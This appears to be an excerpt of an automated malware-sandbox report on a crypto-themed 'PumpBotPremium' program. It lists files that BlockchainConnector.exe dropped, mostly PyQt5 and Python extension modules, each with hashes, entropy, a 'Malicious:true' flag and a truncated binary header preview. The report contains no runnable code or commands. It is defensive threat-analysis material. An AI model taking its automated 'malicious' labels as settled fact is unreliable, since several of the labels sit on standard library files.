                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):532480
                                                                                                                                                                                                                                                Entropy (8bit):6.582042297988443
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:AyLlHZpSfhb7f2Lc9LrLrLrLFmTx158nAyzMSJz:AMIfhb9LrLrLrLFm3CAo9J
                                                                                                                                                                                                                                                MD5:4225D8FDB913D314538AB8E95D248694
                                                                                                                                                                                                                                                SHA1:06E2C62BC0B5B23453E8B19ABB85F624FB3D8AF8
                                                                                                                                                                                                                                                SHA-256:8C62BCCF01BEFA1F30592E18201B9ACFF9C09E38F900270F48488CD19DF4A9CA
                                                                                                                                                                                                                                                SHA-512:D37E7F7939152E92327C1C5B57CFDBB344D7033BEB1301E89F987BD474F3E5E93DF74A1D2D797F2ED2BABE73F38A6BD9B597EF5554DB83384F848558B9555013
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..{ku.(ku.(ku.(b.z(au.(...)iu.( ..)iu.(...)fu.(...)cu.(...)ou.(...)hu.(ku.(8u.(...)=u.(...)ju.(...)ju.(...(ju.(...)ju.(Richku.(........PE..d...i).d.........." ...#..................................................................`.............................................\............p....... ..|M.................. W...............................U..@............................................text...X........................... ..`.rdata..............................@..@.data....2..........................@....pdata..|M... ...N..................@..@.rsrc........p......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtCore.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2467840
                                                                                                                                                                                                                                                Entropy (8bit):6.240133820704683
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:aWYt+wPbTcSKSCcHFpXEqzhDarD9HDXTk5am3QSQK4ZAzYI+1ZdAEDGmtV/U3bwN:jSKSCcHFpXEqzhDarD9HDXTk5am3QSQO
                                                                                                                                                                                                                                                MD5:1DA7B606380B624274E7E3C5F25209BC
                                                                                                                                                                                                                                                SHA1:695949EAB1548E05FB10DA421626EF95B03D5B89
                                                                                                                                                                                                                                                SHA-256:203BB6236F23F57AD8CDAB5BBF4537A4ABBC0B0879CF2893A8DC930E679DD846
                                                                                                                                                                                                                                                SHA-512:43E4CDE7B3CF2F57991C169B1B9AD90334187A41B7784F37660D146252B1C6BD2E98CF86210F938967653773F29619CF0CE038A99184E3D44F734223D05C0B93
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........^..0..0..0.....0...1...0...1...0...5..0...4..0...3..0.M.1...0.E.1...0..1.!.0...5..0...0..0...2..0.Rich.0.........................PE..d...3..c.........." .....B..........HF........................................&...........`.............................................L...L.................#..............`%.....`.......................b..(....`..8............`...o...........................text....A.......B.................. ..`.rdata...o...`...p...F..............@..@.data...(...........................@....pdata........#......<#.............@..@.reloc......`%.......%.............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtGui.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2482688
                                                                                                                                                                                                                                                Entropy (8bit):6.233473435581707
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:eq1Bdy8kK+zqwXSkaGV0COyxNkFAEfYoyWbP:dLdiznbTjO
                                                                                                                                                                                                                                                MD5:3A9A1CD6F3A0EFE67B5994B82D7C4E21
                                                                                                                                                                                                                                                SHA1:E4009EB322A235C7B739777B4385906A238E7B37
                                                                                                                                                                                                                                                SHA-256:2CA28D29EC4F2F50B4CCC70C7D6399B314151BC38852833D2D30097773BB1C00
                                                                                                                                                                                                                                                SHA-512:13BCA36D9BFBE7AD6B43818E5AFC4FF940ADCCC8273DB00052B1466339258C4A0D47B2E126278F43CB24A0E608A08CF39A92379375CE011E156DE1546A286C15
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........wE.S.+OS.+OS.+OZn.OW.+O.c*NQ.+O.~*NQ.+O.c.NG.+O.c/N[.+O.c(NP.+O.m*NQ.+O.f*NV.+OS.*O..+O.c.NX.+O.c+NR.+O.c)NR.+ORichS.+O........................PE..d...R..c.........." .........J...............................................@&...........`.............................................L...L.................#...............%.....`...................................8................z...........................text............................... ..`.rdata..V...........................@..@.data...(z...p...^...N..............@....pdata........#.......#.............@..@.reloc........%.......%.............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtWidgets.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):5092864
                                                                                                                                                                                                                                                Entropy (8bit):6.251608446485404
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:I6qnQByIoLSo7MMVjv7pekxL3UNmN61ZA+gca6xSdJzqNQ9SbBanj1Mxf5uJa:WxI/kMaz7YsgNDG90+VimCOa
                                                                                                                                                                                                                                                MD5:9E4B668C64D9E7A6C59BEBE4B0D6D7C0
                                                                                                                                                                                                                                                SHA1:75C70834E631014296F893F5584B18EA20AC1EC3
                                                                                                                                                                                                                                                SHA-256:E4A06FE65B02C568DB984771FB9A46EA95A8E4353EA85C942F954CBA02DEC635
                                                                                                                                                                                                                                                SHA-512:8D18D5F640EFE4631E4E43A1EF4BB458613C598C88574DC3C3BCFA8C0B8C7CBBF4950CF6F6BB31B49914DC45523A2376AC9178939164D93BDDD670BAD5386D66
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........0...^..^..^.....^..._..^..._..^...[..^...Z..^...]..^..._..^..._..^.._..^.X.[..^.X.^..^.X.\..^.Rich..^.................PE..d...m..c.........." ......,...!.......,.......................................N...........`..........................................t;.T...Du;..............0H..t............L..O...7..............................7.8.............,.`............................text...(.,.......,................. ..`.rdata..F.....,.......,.............@..@.data....9....@.......@.............@....pdata...t...0H..t....G.............@..@.reloc...O....L..P...fL.............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\sip.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):121856
                                                                                                                                                                                                                                                Entropy (8bit):6.010014326553868
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:mKiN0i1GmLV0IBclvyZab28IubHzyB696QtB493U2WRxDhzXP+Na4fa2:NOEgqIBdZab2a196Qs93UT9zXPWhfa2
                                                                                                                                                                                                                                                MD5:4279AAB23F58BE0716A1C92B96E7C500
                                                                                                                                                                                                                                                SHA1:A94F542D78B68B7F9A3DC4FD226A389AFA93AEB9
                                                                                                                                                                                                                                                SHA-256:39DA2371E3B7F118B27928AFCB7948DFB6936180CCF870A7E0515FF29DDD3326
                                                                                                                                                                                                                                                SHA-512:39E51EB99126F4D9FD7EDD5144994D5F98F73164969BC0F11E6717EF979A0AE6B95855750486842BA5CAE14566D4979641A1CF103ACADCE6601D06BFFE321315
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................3.................................................i.....i.....i._.....i.....Rich....................PE..d...f..d.........." .....P...........S.......................................0............`.............................................X.................................... ......`...................................8............`...............................text....N.......P.................. ..`.rdata...S...`...T...T..............@..@.data...0 ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_brotli.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):820736
                                                                                                                                                                                                                                                Entropy (8bit):6.056282443190043
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:tY0Uu7wLsglBv4i5DGAqXMAHhlyL82XTw05nmZfRFo:tp0NA1tAmZfR
                                                                                                                                                                                                                                                MD5:EE3D454883556A68920CAAEDEFBC1F83
                                                                                                                                                                                                                                                SHA1:45B4D62A6E7DB022E52C6159EEF17E9D58BEC858
                                                                                                                                                                                                                                                SHA-256:791E7195D7DF47A21466868F3D7386CFF13F16C51FCD0350BF4028E96278DFF1
                                                                                                                                                                                                                                                SHA-512:E404ADF831076D27680CC38D3879AF660A96AFC8B8E22FFD01647248C601F3C6C4585D7D7DC6BBD187660595F6A48F504792106869D329AA1A0F3707D7F777C6
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.r.q...q...q...x...y......s...:...s......|......y......r.....r...q...L.....Q.....p.....p.....p...Richq...........PE..d... ..d.........." ...#.@...H.......F....................................................`.........................................@c..`....c.......................................9..............................P8..@............P...............................text....?.......@.................. ..`.rdata.......P.......D..............@..@.data........p.......`..............@....pdata...............h..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_bz2.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):80112
                                                                                                                                                                                                                                                Entropy (8bit):6.4309989963681105
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:owz7h8B7BjhJCZePYgIjFNf8AnZydTBIAMVyyw:owz18BrJCJgIHEAodTBIAMVy
                                                                                                                                                                                                                                                MD5:B45E82A398713163216984F2FEBA88F6
                                                                                                                                                                                                                                                SHA1:EAAF4B91DB6F67D7C57C2711F4E968CE0FE5D839
                                                                                                                                                                                                                                                SHA-256:4C2649DC69A8874B91646723AACB84C565EFEAA4277C46392055BCA9A10497A8
                                                                                                                                                                                                                                                SHA-512:B9C4F22DC4B52815C407AB94D18A7F2E1E4F2250AECDB2E75119150E69B006ED69F3000622EC63EABCF0886B7F56FFDB154E0BF57D8F7F45C3B1DD5C18B84EC8
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G..>...m...m...m..=m...mQ..l...me.Sm...mQ..l...mQ..l...mQ..l...m...l...m...l...m...m\..m...l...m...l...m..Qm...m...l...mRich...m................PE..d....O[a.........." .........^...............................................P............`.............................................H............0....... ..,............@......`...T...............................8............................................text...U........................... ..`.rdata..\>.......@..................@..@.data...............................@....pdata..,.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_cffi_backend.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):181248
                                                                                                                                                                                                                                                Entropy (8bit):6.191174351377468
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:fp5LZ3sgWSqjfy8dBbm/6WnUsHozssS7piSTLkKyS7TlSyQH:fptZ8gW9jrBbQnfIzLIiSTLLymlSy
                                                                                                                                                                                                                                                MD5:6F1B90884343F717C5DC14F94EF5ACEA
                                                                                                                                                                                                                                                SHA1:CCA1A4DCF7A32BF698E75D58C5F130FB3572E423
                                                                                                                                                                                                                                                SHA-256:2093E7E4F5359B38F0819BDEF8314FDA332A1427F22E09AFC416E1EDD5910FE1
                                                                                                                                                                                                                                                SHA-512:E2C673B75162D3432BAB497BAD3F5F15A9571910D25F1DFFB655755C74457AC78E5311BD5B38D29A91AEC4D3EF883AE5C062B9A3255B5800145EB997863A7D73
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.....C...C...C..NC...CI..B...C}. C...CI..B...CI..B...CI..B...C...B...C...B...C...C..C...B...C..HC...C...B...C.."C...C...B...CRich...C........PE..d...o.b.........." .........@...............................................0............`..........................................g..l...|g..................H............ .......M...............................M..8............................................text...H........................... ..`.rdata..............................@..@.data....\.......0...v..............@....pdata..H...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_ctypes.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):120040
                                                                                                                                                                                                                                                Entropy (8bit):5.921989765012805
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:SHcKPoHQUCFN1KQDCVPJGltBfrShpl7PFIABPI:ShP0ChjCxJGl3frSVzo
                                                                                                                                                                                                                                                MD5:79F339753DC8954B8EB45FE70910937E
                                                                                                                                                                                                                                                SHA1:3AD1BF9872DC779F32795988EB85C81FE47B3DD4
                                                                                                                                                                                                                                                SHA-256:35CDD122679041EBEF264DE5626B7805F3F66C8AE6CC451B8BC520BE647FA007
                                                                                                                                                                                                                                                SHA-512:21E567E813180ED0480C4B21BE3E2E67974D8D787E663275BE054CEE0A3F5161FC39034704DBD25F1412FEB021D6A21B300A32D1747DEE072820BE81B9D9B753
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......XP...1a..1a..1a..I..1a.ND`..1a.NDd..1a.NDe..1a.NDb..1a..D`..1a..Ze..1a..Z`..1a..X`..1a..1`..1a..Dl..1a..Da..1a..D...1a..Dc..1a.Rich.1a.................PE..d....O[a.........." .................[....................................................`.........................................0Q.......Q..........................................T...........................0...8...............@............................text...d........................... ..`.rdata...l.......n..................@..@.data...T>...p...8...`..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_decimal.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):247528
                                                                                                                                                                                                                                                Entropy (8bit):6.5130349256035975
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:xJADMQRl2npdNqRb8o+wmxYk29qWMa3pLW1ALH+4t4g3:IDMQ2Nqi02/U/+g3
                                                                                                                                                                                                                                                MD5:1CDD7239FC63B7C8A2E2BC0A08D9EA76
                                                                                                                                                                                                                                                SHA1:85EF6F43BA1343B30A223C48442A8B4F5254D5B0
                                                                                                                                                                                                                                                SHA-256:384993B2B8CFCBF155E63F0EE2383A9F9483DE92AB73736FF84590A0C4CA2690
                                                                                                                                                                                                                                                SHA-512:BA4E19E122F83D477CC4BE5E0DEA184DAFBA2F438A587DD4F0EF038ABD40CB9CDC1986EE69C34BAC3AF9CF2347BEA137FEEA3B82E02CCA1A7720D735CEA7ACDA
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>..P..P..P.....P...Q..P...U..P...T..P...S..P.Q.Q..P...Q..P..Q...P.Q.S..P.Q.]..P.Q.P..P.Q...P.Q.R..P.Rich.P.................PE..d....O[a.........." .....r...:............................................................`..........................................T..P...@U...................'..............<... ...T...............................8............................................text...)q.......r.................. ..`.rdata...............v..............@..@.data....)...p...$...N..............@....pdata...'.......(...r..............@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_elementtree.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):122088
                                                                                                                                                                                                                                                Entropy (8bit):6.32131712548972
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:Mx2ad4Xjfa7B5RQo/jmISgUjeuvZpmn9iPfxrrNobnxIAkf+:pm7B5RNiISgShKQxtobnz
                                                                                                                                                                                                                                                MD5:1FECAC327FC93FC161833AD709336BBB
                                                                                                                                                                                                                                                SHA1:C755ED4FF97EB2F1C73659322430C60DE253B732
                                                                                                                                                                                                                                                SHA-256:16480EDE0430BE5249481A9BFB843EB0EF98F93B467A5428352FC23CC8C9051D
                                                                                                                                                                                                                                                SHA-512:003D9CCDCB68F5876AAD4CB39FECFEFD043E70D1FD6CCFD4D672924AE96D69EB4F32DFCD1A643B3A60F0A60C051714C64436E0F6D09A784DD2F92B0800BCA067
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t...0.j.0.j.0.j.9...>.j.b.k.2.j.b.o.<.j.b.n.8.j.b.i.3.j..k.2.j.$.k.3.j.0.k.j..g.4.j..j.1.j...1.j..h.1.j.Rich0.j.........PE..d....O[a.........." .....$...........x....................................................`.............................................X.......x...............................P....I..T............................J..8............@...............................text....#.......$.................. ..`.rdata...g...@...h...(..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..P...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_hashlib.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):59112
                                                                                                                                                                                                                                                Entropy (8bit):6.088455033709072
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:768:13RNYlTw3glkXa/bNnVXP5ZV17reFyPXS9aEyp6fZIAYIPVDG4ywh2:2TRiXa/bNFLVFPXS93fZIAYI3yz
                                                                                                                                                                                                                                                MD5:CFB9E0A73A6C9D6D35C2594E52E15234
                                                                                                                                                                                                                                                SHA1:B86042C96F2CE6D8A239B7D426F298A23DF8B3B9
                                                                                                                                                                                                                                                SHA-256:50DAEB3985302A8D85CE8167B0BF08B9DA43E7D51CEAE50E8E1CDFB0EDF218C6
                                                                                                                                                                                                                                                SHA-512:22A5FD139D88C0EEE7241C5597D8DBBF2B78841565D0ED0DF62383AB50FDE04B13A203BDDEF03530F8609F5117869ED06894A572F7655224285823385D7492D2
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.................m.....B.......B.......B.......B.....................F......................................Rich....................PE..d....O[a.........." .....R...z......`>....................................................`.........................................P...P............................................y..T............................y..8............p..x............................text....P.......R.................. ..`.rdata...M...p...N...V..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_lzma.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):153320
                                                                                                                                                                                                                                                Entropy (8bit):6.800724697808258
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:3o6xxrSqs+vs0H0q8bnpbVDbX5AyYCznfo9mNomenNjc3KBIAD15:3o6DrScRLCV3twYOmUQKt
                                                                                                                                                                                                                                                MD5:5A77A1E70E054431236ADB9E46F40582
                                                                                                                                                                                                                                                SHA1:BE4A8D1618D3AD11CFDB6A366625B37C27F4611A
                                                                                                                                                                                                                                                SHA-256:F125A885C10E1BE4B12D988D6C19128890E7ADD75BAA935FE1354721AA2DEA3E
                                                                                                                                                                                                                                                SHA-512:3C14297A1400A93D1A01C7F8B4463BFD6BE062EC08DAAF5EB7FCBCDE7F4FA40AE06E016FF0DE16CB03B987C263876F2F437705ADC66244D3EE58F23D6BF7F635
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........l.h...h...h.......h.......h.......h.......h.......h..+....h.......h...h...h..+....h..+....h..+....h..+....h..Rich.h..........PE..d....O[a.........." .....^...........2..............................................`d....`......................................... ...L...l...x....`.......@.......:.......p..D...H{..T............................{..8............p...............................text....].......^.................. ..`.rdata......p.......b..............@..@.data........0......................@....pdata.......@......................@..@.rsrc........`......................@..@.reloc..D....p.......8..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_queue.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):27376
                                                                                                                                                                                                                                                Entropy (8bit):6.111826139660432
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:ztfqkQfrUC+qFYS9F6N76r1PSMYpKnHgEFIAmUJDG4y8YSNhJl:zOrUC+Us6r1PSMjFFIAmUJDG4y4hP
                                                                                                                                                                                                                                                MD5:C9EE37E9F3BFFD296ADE10A27C7E5B50
                                                                                                                                                                                                                                                SHA1:B7EEE121B2918B6C0997D4889CFF13025AF4F676
                                                                                                                                                                                                                                                SHA-256:9ECEC72C5FE3C83C122043CAD8CEB80D239D99D03B8EA665490BBCED183CE42A
                                                                                                                                                                                                                                                SHA-512:C63BB1B5D84D027439AF29C4827FA801DF3A2F3D5854C7C79789CAD3F5F7561EB2A7406C6F599D2AC553BC31969DC3FA9EEF8648BED7282FBC5DC3FB3BA4307F
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..}...}...}.......}......}......}......}......}..s....}.......}...}..}..s....}..s....}..s....}..s....}..Rich.}..........PE..d....O[a.........." .........8.......................................................w....`..........................................C..L....C..d....p.......`.......N...............3..T...........................p3..8............0.. ............................text...*........................... ..`.rdata.......0......................@..@.data........P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_socket.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):74472
                                                                                                                                                                                                                                                Entropy (8bit):6.119165103878181
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:LmtpT7zWHzDfLrAe9/s+S+pBm/es6FIABwNyi:qTnzWzrAe9/sT+pBm/X6FIABwp
                                                                                                                                                                                                                                                MD5:5DD51579FA9B6A06336854889562BEC0
                                                                                                                                                                                                                                                SHA1:99C0ED0A15ED450279B01D95B75C162628C9BE1D
                                                                                                                                                                                                                                                SHA-256:3669E56E99AE3A944FBE7845F0BE05AEA96A603717E883D56A27DC356F8C2F2C
                                                                                                                                                                                                                                                SHA-512:7AA6C6587890AE8C3F9A5E97EBDE689243AC5B9ABB9B1E887F29C53EEF99A53E4B4EC100C03E1C043E2F0D330E7AF444C3CA886C9A5E338C2EA42AAACAE09F3E
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
